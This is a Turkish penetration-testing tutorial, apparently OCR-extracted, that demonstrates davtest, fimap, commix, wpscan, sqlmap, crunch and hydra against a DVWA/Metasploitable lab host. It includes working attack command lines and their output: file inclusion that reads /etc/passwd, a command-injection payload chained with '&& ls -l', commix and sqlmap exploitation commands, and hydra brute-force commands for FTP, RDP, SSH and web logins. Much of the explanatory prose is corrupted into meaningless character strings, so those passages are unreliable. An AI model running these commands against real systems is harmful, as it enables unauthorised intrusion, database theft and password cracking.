MKCOL SUCCEED: Created http:// 192.168.152.135/DavBestGInhdFS8gox

*% *% *% *% k% k% *k*k



Sending test files

PUT asp FAIL

PUT cgi FAIL

PUT txt SUCCEED: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest_ BOyGInhdFS8gox.txt

PUT pl SUCCEED: http://192.168 132 DavTestDir_B0OyG9nhdFS8gox/davtest BOyG9nhdFS8gox.pl

PUT jsp SUCCEED: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest BOyG9nhdFS8gox.jsp
PUT cfm SUCCEED: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.cfm
PUT asp FAIL

PUT jhtml SUCCEED: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest BOyG9nhdFS8gox.jhtml
PUT php SUCCEEDL1tp://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest BOyG9nhdFS8gox.php

PUT html SUCCEED: http://192.168.152.135/DavTestDir_B0yG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html

PUT shtml FAIL

Checking for test file execution

EXEC txt SUCCEED: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest BOyG9nhdFS8gox.txt
EXEC pl FAIL

EXEC jsp FAIL

EXEC cfm FAIL

EXEC jhtml FAIL

EXEC php FAIL

EXEC html SUCCEED: httf2/188.152.135/DavTestDir_BOyG9nhdFS8gox/davtest BOyG9nhdFS8gox.html

* *% *% * * * * *

/usr/bin/davtest Summary:

Created: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox

PUT File: http://192.168.152.135/DavTestDiryBOnhdFS8gox/davtest BOyG9nhdFS8gox.txt

PUT File: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest BOyG9nhdFS8gox.pl
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest BOyG9nhdFS8gox.jsp
PUT File: http://192.168.152.135/DavTestDidyB9nhdFS8gox/davtest_BOyG9nhdFS8gox.cfm
PUT File: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.jhtml
PUT File: http://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.php
PUT File: http://192.168.152.135/DavTestB0yG9nhdFS8gox/davtest_BOyG9nhdFS8gox.html
Executes: http://192.168.152.135/DavTestDir_B0OyG9nhdFS8gox/davtest_BOyG9nhdFS8gox.txt

Executeshttp://192.168.152.135/DavTestDir_BOyG9nhdFS8gox/davtest BOyG9nhdFS8gox.html



Fimap:
CAYLLE 6S06 degdn[ DOt f NRXRS1AYDf dAAZY 0 @S wCLOWSY
8L NI &ty 23G2YFGA1 0ANI I NI celi PN

I N} OP {dA € FyYFelr oFdftrFYFREY 1yOS [CcL @8 wCL KI 11
[CLY | SRST 6806 dz&23dzAk I YFAPYRE 13 eNINAIINEAT ySNSS AdydSy dit

WCLY | SRST 6S0 dz&3dz I YIaPyRI alt RPNEFY G N FPYRI
A6t SYARANI

{P1 1dzf tFyPtlFy LI NFYSGNBEtSNR GFyPYTlL&lIfPYD

-s ,--single ¢S1 OANJI dzNX QA GSaid SRAf SOS]

-m ,--mass Dosyadaki liste tek tek kontrol edilecek

-g ,--google D223ftS RIFEY 3FANRAEAYAT a2NHdz2dz F NI G
-u ,--url=URL ¢Sad SGYS]Y A&aUGSRAEAYAT !'w[ 3IANRE SOS
A, ist=LIST ¢Sai0 SGYS| raddhiRdele AYAT 'w[ fAraisSan
-q ,--query=QUERY sorguyu test edecek

-p ,--pages=COUNT D223ftS RI N}GGPNPN]SY {lce &al&¥fl ol

-P ,--post=POSTDATA t2a40G SRAfSOS|T RFEGF&@P 31 &a0G§SNANJ
--cookie=COOKIES post edilecek cookie
-X,--exploit AYGSNI OGAF aSaarzy |l N{1X Flarezy
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fimap.py <parametre> <url>

mNY S1 t SNY

Jfimap.py-dz U KGO LIYKKMPH OPMCcYy PMPHDPMOPKRDGI K @dzf YSNI 0Af Al
Jfimap.py-m -l /root/urllist.txt'

Jfimap.py-g -q 'inurl:include.php'

A YhRoN/192.168.152.135/dvwa/vulnerabilities/fi/?page=include.phpRNB & A Y RS{1 A CL I ceF
FAYFLI I Ny OP AftS GSaid SRStAYO®

Jfimap.py-u "http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php"

root@kali./pentest/exploitation/fimap/src# ./[fimap.pyu "
http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php

fimap v.1.00_svn (My life for Aiur)
:: Automatic LFI/RFI scanner and exploiter

;> by Iman Karim (fimap.dev@gmail.com)


http://192.168.152.135/fi.php?inc=index.php

SingleScan is testing URL: * http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php’
[OUT] Inspecting URL ' http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php'...
[INFO] Fiddling around with URL
[OUT] Possible file inclusion found!" http://192.168.152.135/fi.php?inc =bUTeWg6j' with Parameter 'inc'.
[OUT] Identifing Vulnerabilityhttp://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php' with Key 'inc'...
[INFO] Scriptpath received: 'fvar/www'
[INFO] Testing file '/etc/passwd'...
B R R R R R R
#[1] Possible File Injection #

B R R R R R R

# [URL]  http://192.168.152.135/dvwa/vulnerabilities/fi/?page=include.php #
# [PARAM] inc #

# [PATH] /var/www #

# [TYPE] Absolute Clean + Remote injection #

# [NULLBYTE] No Need. It's clean. #

# [READABLE FILES] #

# [0] /etc/passwd #

BHHHHHRHH R R R R

ISGOKLI 846 R R2aé&l aPYyPy 21dzyl 6Af RAEAYA 2NIl &l Pyl
F NI OPf PEP AfS (SaLIAl SRAfRAO®

TYRSEO®LIKLI R23ae@| A@ywRvidvwa/ dihaabiRiegti/dzt & SNINNY RS ® k S
1fF&I NNy S 3ARSAA I WP, ofPAYY YPPT 1 (IISANBNISEO ST @ kSO

http://192.168.152.135/dvwal/vulnerabilities/fi/?page=../../..I..]..letc/passwgbluna gidebiliriz.

Ok LJ
K LI «

5288l YPI I SNAOGGA] @

€ () 192.168.152.135/dvwafvulnerabilities/fi/page=. .. ./ /etc/passwd v| @ | Q Search vE A =
oot::0:0:root:/root:/bin/bash daemon:x:1: 1:daemon:/usr/shin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev: bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usrigames:/bin/sh man:x.6:12:man:/var
cache/man:/bin/sh p:x:7:7:Ip:/var/spoollpd: fin/sh mail:x:8:8:mail:varimail:/hin/sh news:x:9:3:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spooliuucp: /bin/sh proxy:x:13:13:proxy:/bin:/bin'sh
nnt-Gatax: 33: 33 ww--iata: fvarhwanw/bin/sh backup:x:34: 34: backup:varibackups:/bin/sh listx:38:36:Mailing List Manager:var/list:/bin/sh ircox:39:39:ircd: ivaufmunfircd: fbin/sh gnats:x:41:41:Gnats Bug-Reporting System
@dmin):/varlibignats:/bin/sh nobody:x:65534:63534:nobody: nonexistent:/bin/sh libuvid:x: 100:101:varflin/libuuid:/bin/sh dhep:x:101:102::/nonexistent:/bin/alse syslogox:102:103:homefsyslog:/bin/false
log::103:104::/homefklog:/binfalse sshd:x:104:65534::/varlrun/sshd:/usr/shin/nologin msfadmin:x:1000:1000:msfadmin,,, home/msfadmin:/birn/bash bind:x:105:113::/var/cache/bind: hin/false postfix:x:106:115::\var
spoalpostix:/bin/false ftp:x: 10765534 /homeftp:/bin/false postgres:x:108:117:PostgreSQL administrator,,,var/lib/postgresql:/in/bash mysglx:109:118:MySQL Server, varfib/mysgl:/bin/false

elnetd:x:112:120::/nonexistent: bin/false proftpd:x:113:65534: varirun/proftpd:/bin/false statd:x:114:65534::fvarflibinfs:/in/false snmp:x:115:65534: varflib/snmp:/hin/false
laming: Cannot modify header information - headers already sent by (output staried at /etc/passwd:12) in Ivariwwwidvwaldwwalincludes/dvwaPage.inc.php on line 324

laming: Cannot modify header information - headers already sent by (output staried at /etc/passwd:12) in Ivariwwwidvwaldwwalincludes/dvwaPage.inc.php on line 325

laming: Cannot modify header information - headers already sent by (output started at /etc/passwd:12) in Ivarwwwidvwaldvwalincludes/dvwaPage.inc.php on line 326




Commix:

/ 2YYAE | Nkodm]and fijgedtibn/efx]ploiteR Iy | £ Y {1 GF RPN YP&lI OF &T
GFNY FPYRIFIYX $S0 dz23dz I YFaAaPYRF{A (1 2Ydzi SyaSiairez
1dzf £ yPE LYy o0ANI I NI cel PN

I 2YYLFYR Ay2aSO0iGAazy TFIFIFA@SGAZ KSRST g Smsisteenddz | YI
@Sl RAESNI aKSftf 12Ydzifl NPYPO el f POGPNI 0Af YS&AAYS

YENBPYPI Rl LIAYy3a 12Ydzidz cel t POUGPNXYEFYPI I ATAYy @GSNBy

Ping for FREE

Enter an IP address below:

192.168.152.135 submit

PING 192.168.152.135 (192.168.152.135) 56(84) bytes of data.

64 bytes from 192.168.152.135: icmp seg=1 ttl=64 time=0.029 ms
64 bytes from 192.168.152.135: icmp seg=2 ttl=64 time=0.025 ms
64 bytes from 192.168.152.135: icmp segq=3 ttl=64 time=0.058 ms

--- 192.168.152.135 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 2881ms
rtt min/avg/max/mdev = 0.025/0.0834/0.050/0.012 ms

tAy3 &FLIYIF] A& A
31 NNé@2NHzZd & . dz RI 3
12Ydzi alF GPNP | N OPf PeEPefl A06fSYA TISNeS{fSodANRKLE
ldzidzadz RSy SiGt SYSe®éoGIoA 2Fdziidzd W RP ®AESPSIPNPE VI AT

EAYAT KSRST AL) 0oAf BAIASYRAERYR
|l 3GSNRAE@2N) 1A 6S06 dz23dz I YI &P

Bunu && Isf 1 2Ydzidz2tl G(Said SRAE@2NHAZ © S5 3IJ|I NNf RNEN 3TA
o611l 12Ydzifl NP RI cel fPOGPNIOAET RAEAYATA 31 NRN{ @

Ping for FREE

Enter an IP address below:

192.168.152.135 && |s -| submit

PING 192.168.152.135 (192.168.152.135) 56(84) bytes of data.

64 bytes from 192.168.152.135: icmp seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.152.135: icmp seq=2 ttl=64 time=0.872 ms
64 bytes from 192.168.152.135: icmp seg=3 ttl=64 time=0.065 ms

--- 192.168.152.135 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2018ms
rtt min/avg/max/mdev = 0.065/0.068/0.072/0.003 ms

total 12

drwxr-xr-x 2 www-data www-data 40896 May 20 2012 help
-MwW-r--r-- 1 www-data www-data 1509 Mar 16 2810 index.php
drwxr-xr-x 2 www-data www-data 40896 May 20 2012 source




YdzZ £+ YPYP

commix¢dzNI ¢ 1 2Ydzi SyeaSlaArezydzy 2f Rdzdz dzNI H FaSowSy
9y &P | dzf f l--gbBkie beyR | A(S oo S50 & yEID A

myOS T I LI LINPEE AfS AadSer G YLISNI SRALIZ 0221AS @S

[0}

[ %" Quick Start I = Reguest T Responses= T 24 Break | 4

Method _v] |Header: Text _v] | Body: Text _v] j =

POST http://192.168.152.135/dvwa/vulnerabilities//exec/ HTTP/1.1

Host: 1892.168.152.135

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux xBS5_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: textshtml,applicationsxhtml+xml,application/xml;q=0.9,#*/4;q=0.8
Accept-Language: en-Us,en:gq=0.5 f

I

Referer: http://192.168.152.135/dvwa/vulnerabilities exec/
Cookie: security=low; PHPSESSID=dc35d8c0332ab0913698178549032eed
Connection: keep-alive

ip=192.168.152.1355submit=submit

5FirRa® SGGAEAYAT 1PAYP LbW9/ ¢yl 9w9 AfS RSEASGGAN

commix.py--url http://192.168.152.135/dvwa/vulnerabilities/exec/#cookie="security=low;
PHPSESSID=dc35d8c033eab091369817854903: ="ip=INJECT_HERE&submit=submit"

Komutenfl1 aA&2ydz ol 6 NPt P® ¢SNXYAYIFf akKSttQA |fPLI 12)

ntest exploitation/commix# . /commix.py --url http .168.152.135/dwwa/vulnerabilities/exec/# --cookie="security=low; PHPSESSID=dc35d8c833eab891369817 " --data="ip=INJECT_HERE&sub

vi.7-devilg

ion and loitation Tool
sinopoulos ( )

man on ique... [
he parameter 'ip' seems inj via (results-based) classic command injection technique.
cho 5))5(echo CE

pe '?' for available opt
1s

Wi -data

commix( ) > cat Jetc/passwd




Wpscan:
2 1JA0FY INXOPZ ¢2NRLINSaa GrolytP aArAaSt SNI KF{11PYRLE
pluginieivek I FA&@SGf SNAYA GFNFYF&F &@FN¥ely o6AN I NF celd PN

{Pl l1dAftFyPtly LI NIYSGNBEtSNAYS o6F1FfPYO®

--update gLIAOIY OSNBAE2Yydzydz ANy OSt t SNJ

-url  |-u <target url> | SRST 62NRLINB&aa dzNI QA GF NI NJ
--enumerate |-e [option(s)] F 6 F € PRI 1 A &S aeStytSH f BINR IS ®SINZ %o SiNa L1Jtds N.
d4SeSySif SN

u AR OAf3AAEA M AtS mMn FNIAPYRI|{A (dA Il yPOPE
u[10-20] AR oAf3IAAA mn AfS Wn FNIAPYRIFITA 0Af3IALSNR
p pluginleri getirir

vp TFIFEFAESGH AeSNBYy LX dZAAYyE SNRA ISGEANRN

ap ONY LJ dzZ3Ayf SNA 3IS3HANR

t GSYFEFNP ISGHANR

vi &FRSOS T FIFFARSGEA GSYFEIF NP ISGANK

at GNY GSYIFEFNP ISGANAN

--wordlist | -w <wordlist> ATNBE RSYySYS&A AceAy allftN]l ¢
--username |-U <username> BelitiSy {1 dzf t  yPOP | RPYP RSYSNJ
--usernames  <patio-file> 52&a@&FRF{A 1dz tFyPOP | RfI NPYyP

Ydzt £+ YPYP

Jwpscan-u <hedefsite>S f 4SSy S1f SNpH

mNY S1 t SNY

Jwpscan.rb--url www.example.com

Jwpscan.rb--url www.example.com-wordlist sifretxt

Jwpscan.rb--url www.exanple.com--wordlist sifre.txt--username admin
Jwpscan.rb--url www.example.com-enumerate p

Jwpscan.rb--url www.example.com-enumerate t

ruby ./wpscan.rb-url www.example.com-enumerate u

OAYRA KSNKIYy3IA O0AN) aSoS§biSHENNSKRENI 81 f PY O
Jwpscan.rb--url www.hedefsite.com

¢FNIYF &2ydOdzy Ry RE 31 NNt SOSeA IA6AZ aAGSyAy o2
OSNEAE2Ydzydz 3SGANRA® S5AESNI 12YdzitF NI RIFE TFFFABS



Sgmap

{vial Ll 6806 dz3dz I YIFIfI NPYRIF {v] LyaSOGAz2zy | ePlf®P
' N} celi PN {v[allLl AtS dz2&3dAIYlIYyPYy {v][] LyaSoiArzy
&1 LIPE I 0Af AN @MW [ osPqatalfRiPy Tl IWJS & A BNsirke MeBsténBlekin o0 A £ 3
GSNRAE SNB @S KIFGGF R2ael aradaSya @S Aot SUAY aArAaids
{lif KFEdFraP It RPEPYPI KSRST 6S060 aArAlGS&aAyRSI KIFGI ¢
Al tYFLIQAY O0ATAPIX®EWPYRIf NI WwEaPyP2 WK ali®e SOSEAI
sqmap-dz a1 I | TA& SG#bgy 2f RdzE dz dzNX ¢

-u: url adresi

-—dbsy GSNRAGFOFYEFNPYP 3ISGAN

¢SadG ol olFNPEP 2fdNBF o6ATESNBE GSNAGEIEOFYP A&AYE S
isteyelim

sqimap-dzi & | FA & S Ay 26f (ROKERDS -HadNEEyEP || RPE

JAYS 12Ydzi oF oSl NPEP 2f Rdz€Edz G 1 RANRS o6AT S (lof 21
listelemesini isteyelim

sqimap-dz a1 I FA & Si5 ya @3 NRdiEkiDd kN GEdiisR P £
BNJ a2y NI} 1A FRPYRIF RI' A&ZGSRAEAYAT (12t2ytl NP RdzYLJ

sqimap-dz a1 F I FA& S8y & &6 RAzE Hzo bl OUH RBEG RPY I RPn3Z] 2 2y |
dump



AFTNBE {Ff RPNFPEtI NPY

Crunch:

/ Ndzy OK | N} OPX &AT Ay oaSMIASNIOSAETANGS €3Al yI AfTN €N 22f NAROGGYOzNEVT
«ONBlaAlz KPItP @S (2flé& {dzZftlIyPYPYRIY R2ftl &P Sy
/ Ndzy OK | N} OP AfS LI NRBEtF NNBGSOATYS] Aceiy 1IN0
karaktersek 2f F 6 Af SOSEA IA06A 1SYRAYAI ]

1TFNFTGSNI aSida

RS 1FNFTGSNI aSdA
yS 9 1

o
/ Ndzy OKQPY {SYRA&AYS I Al I EPRI

cat /usr/share/crunch/charset.Ist

root@kali:~# cat /usr/share/crunch/charset.lst
# charset configuration file for winrtgen v1.2 by Massimiliano Montoro (mao@oxid.it)
# compatible with rainbowcrack 1.1 and later by Zhu Shuanglei <shuanglei@hotmail.com>

hex-lower = [0812345678%abcdef]
hex-upper = [0123456789ABCDEF]
numeric [0123456789]

numeric-space [0123456789 ]

symbols14
symbolsl4-space

[1@#$%7&* () -_+=]
[1@#$%s"&*()-_+= ]

symbols-all
symbols-all-space

[t@#$%~&* () - _+=~ [1{}|\:;" <>, .7/]
[1@#g%" & () - _+=~"[1{}|\:;" <>, .2/ ]

[ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ ]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ8123456789]
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 |
[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ! @#$%"&* () -_+=]

ualpha
ualpha-space
ualpha-numeric
ualpha-numeric-
ualpha-numeric-

space
symbol1l4

ualpha-numeric-

symbol14-space

[ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | @#$% &* () -_+= ]

ualpha-numeric-all [ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | @#$%"&* () - _+=~" [1{}|\:;""'<=,.7/]
ualpha-numeric-all-space [ABCDEFGHIJKLMNOPQRSTUVWXYZ@123456789 ! @#$% &* () - +=~"[1{}|\:;""'<>,.7/ 1]
lalpha = [abcdefghijklmnopgrstuvwxyz]

lalpha-space = [abcdefghijklmnopgrstuvwxyz ]

Llalpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789]

lalpha-numeric-space = [abcdefghijklmnopgrstuvwxyz0123456789 ]

lalpha-numeric-symboll4 = [abcdefghijklmnopgqrstuvwxyz0123456789 ! @#$%"&* () -_+=]
lalpha-numeric-symboll4-space = [abcdefghijklmnopgrstuvwxyz0123456789!@#$% &*()-_+= ]
lalpha-numeric-all = [abcdefghijklmnopqrstuvwxyz0123456789 ! @#$% &* () - _+=~" [1{}|\:;""'<=,.7/]
lalpha-numeric-all-space = [abcdefghijklmnopgrstuvwxyz0123456789 ! @#$% &+ () - +=~"[]1{}|\:; VA

mixalpha = [abcdefghijklmnepgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]

mixalpha-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ]

mixalpha-numeric = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]

mixalpha-numeric-space = [abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ]

mixalpha-numeric-symboll4 = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#4$% &*()-_+=]

mixalpha-numeric-symboll4-space = [abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$% &% ()-_+= ]

mixalpha-numeric-all = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ8123456789 1 @#4$% &% () - +=~"[1{}|\:;"'<=>,.2/]
mixalpha-numeric-all-space = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$% &% () - +=~"[1{}|\:;""'<>,.7/ ]

/ NXzy @én@ Rayakter setini kullanarak 6 karakterli lalpfiadzY’ I NA O o6 1 NceN{ KINF O

2fd2OFy0 O0ANI LI NI f2 fA&a0GSEAA 2f dzdGdzNY £ PY O

crunch 6 6f /usr/share/crunch/charset.Istlalpha-numeric-o wordlist.txt

Crunch will now generate the following amount of dai5237476352 bytes
14531 MB

14 GB

0TB

OPB

Crunch will now generate the following number of lines: 2176782336

Y2Ydzidzy Pl dPYRIY RI

DSy S8t 1dAfftFyPY 881¢A



crunch <miruzunluk><maxdzl dzy' f dzZl B @f 1 F NI {1 G SN aGNAYy3IABH6 waSceSy
(Pl 1df tFtyPtly 235@SyS1tSNIS INYS{tSYRANBEAYY

b aSeSySeAir 2fdzddzNI OF EPYyPI R2a&lyPy LI NkeltP 2fl
2 dzo G dzNHzf Y124 RYeP wRxIbE falS@S yI S EA ¥ B NP O ANIQY &  IRZBR P RIP
R2a&l t N KIfAYyR8aa&l NEeRPI fd NIANIR2M & yPY A®iAyRS
1dzt £ Fyl OF 1 GPNP

root@kali:~/Desktop/wordlists# crunch 5 5 -f /Jusr/share/crunch/charset.lst lalpha-numeric -b 100MB -o START
Crunch will now generate the following amount of data: 362797056 bytes

345 MB

0 GB

e TB

@ PB

Crunch will now generate the following number of lines: 60466176

crunch: 27% completed generating output
crunch: 55% completed generating output
crunch: 82% completed generating output
crunch: 85% completed generating output

crunch: 100% completed generating output

root@kali:~/Desktop/wordlists# 1s -1

total 354312

-rw-r--r-- 1 root root 62797068 Feb 14 ©2:42 31yi4-99999.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 aaaaa-j7ic7.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 j7ic8-t4qgf5.txt
-rw-r--r-- 1 root root 99999996 Feb 14 ©2:42 t4gf6-31yi3.txt

<l SNJI 6ANI R2&aél &l Yl 1aAyYdzy 7| oe-o3TARTPKIhuduyld bBréberOl € Py
1 dzf PN P ¢

man®nnn al GPNI Pl @e@PlliPeP uwundnnn alGPNIFNI | @PNI O

root@kali:~/Desktop/wordlists# crunch 5 5 -f /Jusr/share/crunch/charset.lst numeric -c 20000 -o START
Crunch will now generate the following amount of data: 120000 bytes

0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 20000

crunch: 100% completed generating output
crunch: 200% completed generating output
crunch: 300% completed generating output
crunch: 400% completed generating output

crunch: 500% completed generating output
root@kali:~/Desktop/wordlists# 1s -1

total 600

-rw-r--r-- 1 root root 120000 Feb 14 02:46 00080-19999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 20000-39999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 40000-59999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 60000-79999.txt
-rw-r--r-- 1 root root 120000 Feb 14 02:46 80000-99999.txt

el Nt NNBOGAYAYAY KIy3IA R Sepsradeeyini kulagabllriz. R dzNY I & Py



root@kali: # crunch 5 5 -f Jusr/share/crunch/charset.lst numeric -e 25000 -o START
Crunch will now generate the following amount of data: 150006 bytes

e MB

0 GB

e TB

e PB

Crunch will now generate the following number of lines: 25001

crunch: 100% completed generating output

f1dzf € yPEFOF] TFNFTGSNI AaSUAYAY &2fdz 60SE ANILALAND
crunch 6 6f /usr/share/crunch/charset.Ist lalpha-numeric-o wordlist.txt

LI N YSGNBaARE ST y2NX¥I RS @P1FOlI]l a2y dz0dz G§SNBAYS
S1

-0 NNB G A f R2a&lyPy RP @S @&2fdz 6St ANUAT AN

& ¢
PIANRE SY RSESNRAY LISNN¥NGIF aez2ydz/dz & LI NJ

root@kali: # crunch 1 1 -p abc

Crunch will now generate approximately the following amount of data: 24 bytes
0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: &
abc

ach

bac

bca

cab

cba

qQLISNYNGIR2&2Y &Yy 21dz2it N1 RI al&€tleroAfANRT ®
14SeSySeAr At-6 Rt Bl RUZWREE dyid {2 VYdzidz RSOl Y SiGGANS
crunch 6 6f /usr/share/crunch/charset.Ist lalphanumeric-o wordlist.txt-r
st P NRfF NNBOGAYAY KFEy3daA 1StPYSSt KNNBOWSENBENYATF ORI
tNNBGAEf SOS]T LINREFIYPY YySNBaAYRS yIFaPt 11FNF1G§SNI 2
@ -1 N®eNl KI NF
, - . N&N1 KI NJF
% -- numara
Al TSt 1T FNI 1 GSN
crunch 6 6t test@
0 cePtesiafestP testc...)
crunch 6 6-t test,
6 cePibdiARESB, testC...)
crunch 6 6t test%
0 cePtpsil ReStP test3....)



crunch 6 6t test®

6 cePikdill, Rét&Ptest@....)

crunch 9 9t test@,%"

ePl 0 PaAaPYyPy a2y mn RSESNAR

testzZ9;
testzZ9"
testzZ9'
testzZ9<
testZ9>
testzZ9,
testzZ9.
testzz9?
testzz9/
testzZ9

¥X=Z2w AOFNBGI-ENBIYWNI YEA RBFAXNF $ AaGdSRAEAYAT 12YO0AYl



Hydra:
| SRST R2YIAY NISNAYRS | eP|l 2ftly &aSNIDAGKENBS |
8l yiSyaetS o0AFTNB RSySYStSNA aletlrely KPitP @S

» @
Q<.

I N} ce 0 EPRIF{A LINRG212¢¢tSNXA RSEGS1t SN

Cisco AAA, Cisco auth, Cisco enddb\S, FTP, HTTFRORMGET, HTTP(BDRMPOST, HTTP{SET,
HTTP(SHEAD, HTTFProxy, ICQ, IMAP, IRC, LDARI®E, MySQL, NNTP, Oracle Listener, Oracle SID,
PGAnywhere, PANFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum,
NMP v1+v2+v3, SOCKS5, SSH (vl and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware
Auth, VNC and XMPP

YSYSEAYA AadSRAERAYA I FilifSatamairdshie dodyalzt t | y P

1 LOGINA f § S
NRSYy 2] afjilidzZ t I yPOP I Rt NPyP 21 dzi

Ry ©6A
pPASS\t S RSYySYSaAyA AaidSRAE-RMMaraiafdsiylédbdyddanbidhS 8 A O
21 OAFTNBEA RSySYSaAyA alrctlre@lroAftANRT @

A

-CFILEJ N} YS{iNB & AftS bt23aAYyYLI aab FT2NXIGMmyRI R2&adl

-MFILELJ- NI} YS{NEBa AftS O0ANRSY @21 adzydzOdz2| &l f RPNJ 6

A
4TASKIJ NI YSGNBaA AftS e@yP FyRI KSRSTS 1l oe LI NIt S
16)

St NFYSGONBaA ANfySIiPKIRETI Naat ol €f
SsPORTASNIA A O NElI &Pttty LIR2NIdzy RPOPYRI O0ANI LRNI RI

ensr -S LI N} YSGONBaAyRSYy a2yNl} 06206 0ANI OAFNB RSySYS
bab X 1dz | yPOPYIPRBOAFWEI 2NBE NSy RISlYyBIYES&A A Ay bNb
8y P FyRF (dzZ I yYFEA&P AceAy ayaNE LI NFYSGNBaAyir 1d
OFILELJ N} YSGNBAA AftS o010 NPEP 2fly RSYSYSt SNR R2Aac

fLI NI YSGUNBaA AfS RSyYyEHNEPOHP oR ddRR ®BNI2d RfdZENKYTRS &I f

(s}

v/-V/-dLI Ny YSGNBt SNAYRSY KSNJoANR AfS RSySYS ayl &

| NSt SNY
hydra-l admin-p password123p://192.168.1.10

hydra-l admin-P password.txttp://192.168.1.10

hydra-L user.txtP password.txttp://192.168.1.10

hydra-C userpass.tXtp://192.168.1.10

hydra-V -f -l admin-P wordlist.txt rdp://192.168.1.100
hydra-l admin-P password.txtV -0 basarili 192.168.1.99 ssh
hydra-s 25- test@example.comP/root/ passwordixt 192.168.10.5 snut


ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/
ftp://192.168.1.10/

hydra -l admin-P wordlist.txt imap://192.168.0.1/PLAIN

KGGLI F2NY &F&@FFEFNPYylF altRPNP &FLIGAEYS
NE

odzydzy AceAy T FLINPE& AfS FNI&F IANARLI 3S

(* Connecting... x

€ O/ 192.168.152.135/dvwa/login.php

D\(WA)

Username

admin

Password

Login

Untitled Session - OWASP ZAP 2.5.0
File Edit View Analyse Report Tools Online Help

[Gendardmode ) 1 EHE @ 232 028 OO0 & /) @F F e 5xEwE o
@ sites | = [ 47 quick StartT = Request T Responses= T ¢ Break | 4= http-pOSt
@LEE

v [ Contests [POST hitp: /7192168, 152. 135/dvwa/ Login.php HTTP/1.1 |
[©] Default Context FOS LT 192,168, 192, 13

» @ P Sites User-Agent: Mozillas/S.0 (¥11; Ubuntu; Linux x86_64; rv:58.0) Gecko/28100101 Firefox/S0.@

Accept: text/htnl,application /xhtnl+xnl,application/xnl;q=0.9,%/#*;q=0.8

Accept-Language: en-US,en;g=0.5

Referer: http://192,168.152.135/dvwa/login.php

Cookie: security=high; PHPSESSID=7chShlb25464a97bc2d18c747f6074c4

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded
st | anath. A1

| Method \-] | Header: Text |'] | Body: Text Dd=E]=

Jr

LS

=

[username:admill password=adnin: Login=Login ]

hydra -l admin -P wordlist.txt -V 192.168.152.135 htgpost-form
GKROGI Kt 2IAYDPLIKLIYAZASNYF YST w! { Owws LI aa g 2 NRT wt ! { { u

11 dzA £+ yPOP | RP

P ATNBE R2aélap

http-postformservisLINR 12 1 2f | RP

Login:Login faile®R I 4 & P 2 ( dzZNHzY | celh®ta. RPEPYPI Rl | f RPEPYPI

dz 6SAGAYATA | @NPOI EKE@RN} AfS 3INIFA] FNFeNiT Af S
loco wyare

Target | Passwords | Tuning | Specific | Start Target | Passwords | Tuning | Specific | Start
Targekt Username
@ single Target 192.168.152.135 l @ Username admin ]
) Targek List Username List
- [] Loop around users [] Protocol does notrequire usernames
[] Prefer IPV6
Password
Pork 0 = ) Password yourpass
Protocol l http-post-Fform - l @ Password List \ bot/wWordlists/john.txt |
Outpuk Options ~\ Generate 1:1:a
[] Use SSL [] Useold SSL & |Be Verbose Colon separated file
. - [[] Use Colon separated file
[] show Attempts [] Debug
